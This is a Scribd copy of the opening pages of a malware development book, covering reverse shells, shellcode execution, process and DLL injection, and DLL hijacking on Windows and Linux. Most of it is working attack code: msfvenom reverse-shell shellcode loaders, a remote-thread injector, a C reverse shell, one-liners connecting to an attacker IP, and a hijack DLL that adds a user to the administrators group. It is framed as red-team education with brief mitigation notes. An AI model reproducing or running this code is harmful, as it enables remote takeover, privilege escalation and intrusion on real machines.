Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
36 views945 pages

MDMZ Book 2nd

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
36 views945 pages

MDMZ Book 2nd

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 945

NOVEMBER 2024

MD MZ
2ND EDITION

COCOMELONC
ZHASSULAN ZHUSSUPOV
The result of research and
investigation of malware development
tricks, cryptography and
intro to linux malware

FREE (16USD)
1. intro

This book is dedicated to my wife, Laura, and my children, Yerzhan and Munira. Also,
thanks to everyone who is helping me through these difficult times. I will use the
proceeds from the sale of this book to treat Munira and contribute to charity funds in
Kazakhstan:

Now we are better, but we are still continuing treatment.


May Allah, Lord of the Worlds, heal my daughter.
This book is a new version of MD MZ - Malware Development Book - 2024 edition.
I also plan to publish this version of the book, in sha Allah.

1
First version of this book is released in 17.07.2022:

More than two years have passed since then, and I wanted to supplement the book
with new articles from my blog. As a result, this new edition of this book now contains
almost 1000 pages.

2
2. what is malware development?

Whether you are a Red Team or Blue Team specialist, learning the techniques and tricks
of malware development gives you the most complete picture of advanced attacks. Addi-
tionally, the majority of classic malwares are typically written under Windows, providing
you with practical knowledge in Windows development.
Most of the tutorials in this book require a deep understanding of the Python and
C/C++ programming languages:
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

LPVOID mem = VirtualAlloc(NULL, sizeof(my_payload), MEM_COMMIT, PAGE_EXECUTE_READWRITE);


RtlMoveMemory(mem, my_payload, sizeof(my_payload));
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, (LPARAM)NULL);

3
return 0;
}
At times, we need to understand some code in the Nim programming language:
import strutils

proc caesar(s: string, k: int, decode = false): string =


var k = if decode: 26 - k else: k
result = ""
for i in toUpper(s):
if ord(i) >= 65 and ord(i) <= 90:
result.add(chr((ord(i) - 65 + k) mod 26 + 65))

let msg = "The quick brown fox jumped over the lazy dogs"
echo msg
let enc = caesar(msg, 11)
echo enc
echo caesar(enc, 11, decode = true)
The main logic divides the book into five (4 + 1 bonus) chapters:
- Malware development tricks and techniques
- AV evasion tricks
- Persistence techniques
- Malware, Cryptography, Research
- Intro to linux malware development
All of the material in the book is based on posts from my blog
If you have questions, you can ask them on my email
My Github repo: https://github.com/cocomelonc

4
3. reverse shells

First of all, we will consider such a concept as a reverse shell, since this is a very
important thing in the malware development

what is reverse shell?


Reverse shell or often called connect-back shell is remote shell introduced from the
target by connecting back to the attacker machine and spawning target shell on the
attacker machine. This usually used during exploitation process to gain control of the
remote machine.

The reverse shell can take the advantage of common outbound ports such as port 80,
443, 8080 and etc.
The reverse shell usually used when the target victim machine is blocking incoming
connection from certain port by firewall. To bypass this firewall restriction, red teamers

5
and pentesters use reverse shells.
But, there is a caveat. This exposes the control server of the attacker and traces might
pickup by network security monitoring services of target network.
There are three steps to get a reverse shell.
Firstly, attacker exploit a vulnerability on a target system or network with the ability to
perform a code execution.
Then attacker setup listener on his own machine.
Then attacker injecting reverse shell on vulnerable system to exploit the vulnerability.
There is one more caveat. In real cyber attacks, the reverse shell can also be obtained
through social engineering, for example, a piece of malware installed on a local worksta-
tion via a phishing email or a malicious website might initiate an outgoing connection
to a command server and provide hackers with a reverse shell capability.

The purpose of this post is not to exploit a vulnerability in the target host or network,
but the idea is to find a vulnerability that can be leverage to perform a code execution.
Depending on which system is installed on the victim and what services are running
there, the reverse shell will be different, it may be php, python, jsp etc.

listener
For simplicity, in this example, the victim allow outgoing connection on any port (default
iptables firewall rule). In our case we use 4444 as a listener port. You can change it
to your preferable port you like. Listener could be any program/utility that can open
TCP/UDP connections or sockets. In most cases I like to use nc or netcat utility.
nc -lvp 4444
In this case -l listen, -v verbose and -p port 4444 on every interface. You can also
add -n for numeric only IP addresses, not DNS.

6
run reverse shell (examples)
Again for simplicity, in our examples target is a linux machine.
1. netcat
run:
nc -e /bin/sh 10.9.1.6 4444
where 10.9.1.6 is your attacker’s machine IP and 4444 is listening port.

2. netcat without -e
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE
disabled, it means you don’t have the -e option of netcat.
In this case, in the victim machine run:
mkfifo /tmp/p; nc <LHOST> <LPORT> 0</tmp/p |
/bin/sh > /tmp/p 2>&1; rm /tmp/p

Here, I’ve first created a named pipe (AKA FIFO) called p using the mkfifo command.
The mkfifo command will create things in the file system, and here use it as a “backpipe”
that is of type p, which is a named pipe. This FIFO will be used to shuttle data back

7
to our shell’s input. I created my backpipe in /tmp because pretty much any account is
allowed to write there.
3. bash
This will not work on old debian-based linux distributions.
run:
bash -c 'sh -i >& /dev/tcp/10.9.1.6/4444 0>&1'

4. python
To create a semi-interactive shell using python, run:
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<LHOST>",<LPORT>));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

More examples: github reverse shell cheatsheet

8
create reverse shell in C
My favorite part. Since I came to cyber security with a programming background, I
enjoy doing some things “reinventing the wheel”, it helps to understand some things as
I am also learning in my path.
As I wrote earlier, we will write a reverse shell running on Linux (target machine).
Create file shell.c:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main () {

// attacker IP address
const char* ip = "10.9.1.6";

// address struct
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);

// socket syscall
int sockfd = socket(AF_INET, SOCK_STREAM, 0);

// connect syscall
connect(sockfd, (struct sockadr *)&addr, sizeof(addr));

for (int i = 0; i < 3; i++) {


// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

// execve syscall
execve("/bin/sh", NULL, NULL);

return 0;
}
Let’s compile this:

9
gcc -o shell shell.c -w

If you compile for 32-bit linux run: gcc -o shell -m32 shell.c -w
Let’s go to transfer file to victim’s machine. File transfer is considered to be one of
the most important steps involved in post exploitation (as I wrote earlier, we do not
consider exploitation step).
We will use the tool that is known as the Swiss knife of the hacker, netcat.
on victim machine run:
nc -lvp 4444 > shell
on attacker machine run:
nc 10.9.1.19 4444 -w 3 < shell

check:
./shell

Source code in Github

10
mitigation
Unfortunately, there is no way to completely block reverse shells. Unless you are delib-
erately using reverse shells for remote administration, any reverse shell connections are
likely to be malicious. To limit exploitation, you can lock down outgoing connectivity to
allow only specific remote IP addresses and ports for the required services. This might
be achieved by sandboxing or running the server in a minimal container.

11
4. classic code injection into the process. simple C++ malware

Let’s talk about code injection. What is code injection? And why we do that?
Code injection technique is a simply method when one process, in our case it’s our
malware, inject code into another running process.
For example, you have your malware, it’s a dropper from phishing attack or a trojan
you managed to deliver to your victim or it can be anything running your code. And
for some reason, you might want to run your payload in a different process. What do I
mean by that? In this post we will not consider the creation of trojan, but for example,
let’s say that your payload got executed inside word.exe which have a limited time of
living. Let’s say your successfully got a remote shell, but you know that, your victim
close word.exe, so in this situation you have to migrate to another process if you want
to preserve your session.
In this post we will discuss about a classic technique which are payload injection using
debugging API.
Firstly, let’s go to prepare our payload. For simplicity, we use msfvenom reverse shell
payload from Kali linux.
On attacker’s machine run:
msfvenom -p windows/x64/shell_reverse_tcp
LHOST=10.9.1.6 LPORT=4444 -f c
where 10.9.1.6 is our attacker’s machine IP address, and 4444 is port which we run
listener later.

12
Let’s start with simple C++ code of our malware:
/*
cpp implementation malware example with msfvenom payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// our payload: reverse shell (msfvenom)


unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"

13
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;

// Allocate a memory buffer for payload


my_payload_mem = VirtualAlloc(0,
my_payload_len, MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);

// copy payload to buffer


RtlMoveMemory(my_payload_mem,
my_payload, my_payload_len);

// make new buffer as executable


rv = VirtualProtect(my_payload_mem,
my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if ( rv != 0 ) {

// run payload
th = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
It’s okay if you don’t understand a lot of the code. I will often use similar tricks and
pieces of code. As you read the book, you will understand more and more the concepts
and fundamental things.
Let’s check firstly.
Compile:
x86_64-w64-mingw32-gcc evil.cpp -o evil.exe -s

14
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc

prepare listener:
nc -lvp 4444
and run from victim’s machine:
.\evil.exe

As you can see, everything is ok.


For investigating evil.exe we will use Process Hacker. Process Hacker is an open-
source tool that will allow you to see what processes are running on a device, identify
programs that are eating up CPU resources and identify network connections that are
associated with a process.

Then in the Network tab we will see that our process establish connection to
10.9.1.6:4444 (attacker’s host):

15
So, let’s go to inject our payload to process. For example, calc.exe. So, what you
want is to pivot to a target process or in other words to make your payload executing
somehow in another process on the same machine. For example in a calc.exe.

The first thing is to allocates some memory inside your target process and the size of
the buffer has to be at least of size of your payload:

Then you copy your payload to the target process calc.exe into the allocated memory:

and then “ask” the system to start executing your payload in a target process, which is
calc.exe.

16
So, let’s go to code this simple logic. Now the most popular combination to do this is
using built-in Windows API functions which are implemented for debugging purposes.
There are:
- VirtualAllocEx
- WriteProcessMemory
- CreateRemoteThread
Very basic example is:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// reverse shell payload (without encryption)


unsigned char my_payload[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\x0a\x09\x01\x06\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"

17
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned int my_payload_len = sizeof(my_payload);

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// parse process ID
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
my_payload_len, (MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb,
NULL, 0, NULL);
CloseHandle(ph);
return 0;
}
First you need to get the PID of the process, you could enter this PID yourself in our
case. Next, open the process with OpenProcess function provided by Kernel32 library:

Next, we use VirtualAllocEx which is allows to you to allocate memory buffer for
remote process (1):

18
Then, WriteProcessMemory allows you to copy data between processes, so copy
our payload to calc.exe process (2). And CreateRemoteThread is similar to
CreateThread function but in this function you can specify which process should
start the new thread (3).
Let’s go to compile this code:
x86_64-w64-mingw32-gcc evil_inj.cpp -o evil2.exe -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc

prepare listener:
nc -lvp 4444
and on victim’s machine firstly execute calc.exe:

Which we can see that the process ID of the calc.exe is 1844.


Then run our injector from victim’s machine:
.\evil2.exe 1844

19
and first of all we can see that ID of the calc.exe is the same and our evil2.exe is
create new process cmd.exe and on the Network tab our payload is execute (because
calc.exe establish connection to attacker’s host):

Then, let’s go to investigate calc.exe process. And go to Memory tab we can look for
a memory buffer we allocated.

Because if you take a look into the source code we are allocating some executable and
readable memory buffer in the remote process:

20
So in the Process Hacker we can search and sorted by Protection, scroll down and find
region which is readable and an executable in the same time:

so, there is a lot of such regions in a memory of calc.exe.


But, note how the calc.exe has a ws2_32.dll module loaded which should never
happen in normal circumstances, since that module is responsible for sockets manage-
ment:

So this is how you can inject you code into another process.
But, there is a caveat. Opening another process with write access is submitted to re-
strictions. One protection is Mandatory Integrity Control (MIC). MIC is a protection
method to control access to objects based on their “Integrity level”.

21
There are 4 integrity levels:
- low level - process which are restricted to access most of the system (internet explorer)
- medium level - is the default for any process started by unprivileged users and also
administrator users if UAC is enabled.
- high level - process running with administrator privileges.
- system level - by SYSTEM users, generally the level of system services and process
requiring the highest protection.
For now we will not delve into this. Firstly I will try figure this out myself.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
Source code in Github

22
5. classic DLL injection into the process. Simple C++ malware.

In this section we will discuss about a classic DLL injection technique which are use
debugging API.
About classic code injection I wrote in the previous section.
Firstly, let’s go to prepare our DLL.
There are slight difference in writing C code for exe and DLL. The basic difference
is how you call you code in your module or program. In exe case there should be
a function called main which is being called by the OS loader when it finishes all in
initialization if a new process. At this point your program starts its execution when the
OS loader finishes its job.
On the other hand with the DLL’s when you want to run your program as a dynamic
library, it’s a slighty different way, so the loader has already created process in memory
and for some reason that process needs your DLL or any other DLL to be load it into
the process and it might be due to the function your DLL implements.
So exe need a main function and DLL’s need DLLMain function
Basically that’s the simplest difference.
For simplicity, we create DLL which just pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

23
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow from evil.dll!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
It only consists of DllMain which is the main function of DLL library. It doesn’t declare
any exported functions which is what legitimate DLLs normally do. DllMain code is
executed right after DLL is loaded into the process memory.
This is important in the context of DLL Injection, as we are looking for simplest way to
execute code in the context of other process. That is why most of malicious Dlls which
are being injected have most of the malicious code in DllMain. There are ways to force
a process to run exported function, but writing your code in DllMain is usually the
simplest solution to get code execution.
When run in injected process it should display our message: “Meow from evil.dll!”, so we
will know that injection was successful. Now we can compile it (on attacker’s machine):
x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive

and put it in a directory of our choice (victim’s machine):

24
Now we only need a code which will inject this library into the process of our choosing.
In our case we are going talk about classic DLL injection. We allocate an empty buffer
of a size at least the length of the path of our DLL from disk. And then we copy the
path to this buffer.
/*
* evil_inj.cpp
* classic DLL injection example
* author: @cocomelonc
* https://cocomelonc.github.io/tutorial/
2021/09/20/malware-injection-2.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

char evilDLL[] = "C:\\evil.dll";


unsigned int evilLen = sizeof(evilDLL) + 1;

int main(int argc, char* argv[]) {


HANDLE ph; // process handle
HANDLE rt; // remote thread
LPVOID rb; // remote buffer

// handle to kernel32 and pass it to GetProcAddress


HMODULE hKernel32 = GetModuleHandle("Kernel32");
VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

// parse process ID
if ( atoi(argv[1]) == 0) {
printf("PID not found :( exiting...\n");
return -1;
}

25
printf("PID: %i", atoi(argv[1]));
ph = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
DWORD(atoi(argv[1])));

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL, evilLen,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" evil DLL between processes


WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)lb,
rb, 0, NULL);
CloseHandle(ph);
return 0;
}
It’s pretty simple as you can see. It’s same as in my classic code injection section. The
only difference is we add path of our DLL from disk (1) and before we finally inject
and run our DLL - we need a memory address of LoadLibraryA, as this will be an API
call that we will execute in the context of the victim process to load our DLL (2):

So finally after we understood entire code of the injector, we can test it. Compile it:
x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe
-mconsole -I/usr/share/mingw-w64/include/ -s
-ffunction-sections -fdata-sections -Wno-write-strings
-fno-exceptions -fmerge-all-constants -static-libstdc++
-static-libgcc -fpermissive >/dev/null 2>&1

26
Let’s first launch a calc.exe instance and then execute our program:

To verify our DLL is indeed injected into calc.exe process we can use Process Hacker.

In another memory section we can see:

It seems our simple injection logic worked! This is just a simplest way to inject a DLL
to another process but in many cases it is sufficient and very useful.

27
If you want you can also add function call obfuscation which will be research in the
future sections.
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread
OpenProcess
GetProcAddress
LoadLibraryA
Source code in Github
In the future sections I will try to figure out more advanced code injection techniques.

28
6. DLL hijacking in Windows. Simple C example.

What is DLL hijacking? DLL hijacking is technique when we tricking a legitimate/trusted


application into loading an our malicious DLL.
In Windows environments when an application or a service is starting it looks for a
number of DLL’s in order to function properly. Here is a diagram showing the default
DLL search order in Windows:

In our post, we will only consider the simplest case: the directory of an application is
writable. In this case, any DLL loaded by the application can be hijacked because it’s the
first location used in the search process.

29
Step 1. Find process with missing DLLs
The most common way to find missing Dlls inside a system is running procmon from
sysinternals, setting the following filters:

which will identify if there is any DLL that the application tries to load and the actual
path that the application is looking for the missing DLL:

In our example, the process Bginfo.exe is missing several DLLs which possibly can
be used for DLL hijacking. For example Riched32.dll

Step 2. Check folder permissions


Let’s go to check folder permissions:
icacls C:\Users\user\Desktop\

According to the documentation we have write access to this folder.

30
Step 3. DLL hijacking
Firstly, let’s go to run our bginfo.exe:

Therefore if I plant a DLL called Riched32.dll in the same directory as bginfo.exe


when that tool executes so will my malicious code. For simplicity, I create DLL which
just pop-up a message box:
/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(
NULL,
"Meow-meow!",
"=^..^=",
MB_OK
);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

31
return TRUE;
}
Now we can compile it (on attacker’s machine):
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Then rename as Riched32.dll and copy to C:\Users\user\Desktop\ my malicious


DLL.

And now launch bginfo.exe:

32
As you can see, our malicious logic is executed:
So, bginfo.exe and malicious Riched32.dll in the same folder (1)
Then launch bginfo.exe (2)
Message box is popped-up! (3)

Remediation
Perhaps the simplest remediation steps would be simply to ensure that all installed
software goes into the protected directory C:\Program Files or C:\Program Files
(x86). If software cannot be installed into these locations then the next easiest thing
is to ensure that only Administrative users have “create” or “write” permissions to the
installation directory to prevent an attacker from deploying a malicious DLL and thereby
breaking the exploitation.

Privilege escalation
DLL hijacking can be used for more than just executing code. It can also be used to gain
persistence and privilege escalation:
Find a process that runs/will run as with other privileges (horizontal/lateral movement)
that is missing a dll.
Have write permission on any folder where the dll is going to be searched (probably
the executable directory or some folder inside the system path).
Then replace our code:
/*
DLL hijacking example
author: @cocomelonc
*/

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,

33
DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("cmd.exe /k net localgroup administrators user /add");
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
For x64 compile with: x86_64-w64-mingw32-gcc evil.c -shared -o target.dll
For x86 compile with: i686-w64-mingw32-gcc evil.c -shared -o target.dll
Further, all steps are similar.

Conclusion
But in all cases, there is a caveat.
Note that in some cases the DLL you compile must export multiple functions to be
loaded by the victim process. If these functions do not exist, the binary will not be able
to load them and the exploit will fail.
So, compiling custom versions of existing DLLs is more challenging than it may sound,
as a lot of executables will not load such DLLs if procedures or entry points are missing.
Tools such as DLL Export Viewer can be used to enumerate all external function names
and ordinals of the legitimate DLLs. Ensuring that our compiled DLL follows the same
format will maximise the chances of it being loaded successfully.
In the future I will try to figure out this, and I will try create python script which create
.def file from target original DLL.
Process Monitor
icacls
DLL Export Viewer
Module-Definition (def) files
Source code in Github
I’ve added the vulnerable bginfo (version 4.16) to github if you’d like to experiment.

34
7. find process ID by name and inject to it. Simple C++ example.

When I was writing my injector, I wondered how, for example, to find processes by
name?
When writing code or DLL injectors, it would be nice to find, for example, all processes
running in the system and try to inject into the process launched by the administrator.
In this section I will try to solve a simplest problem first: find a process ID by name.
Fortunately, we have some cool functions in the Win32 API.
Let’s go to code:
/*
simple process find logic
author: @cocomelonc
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>

// find process ID by process name


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
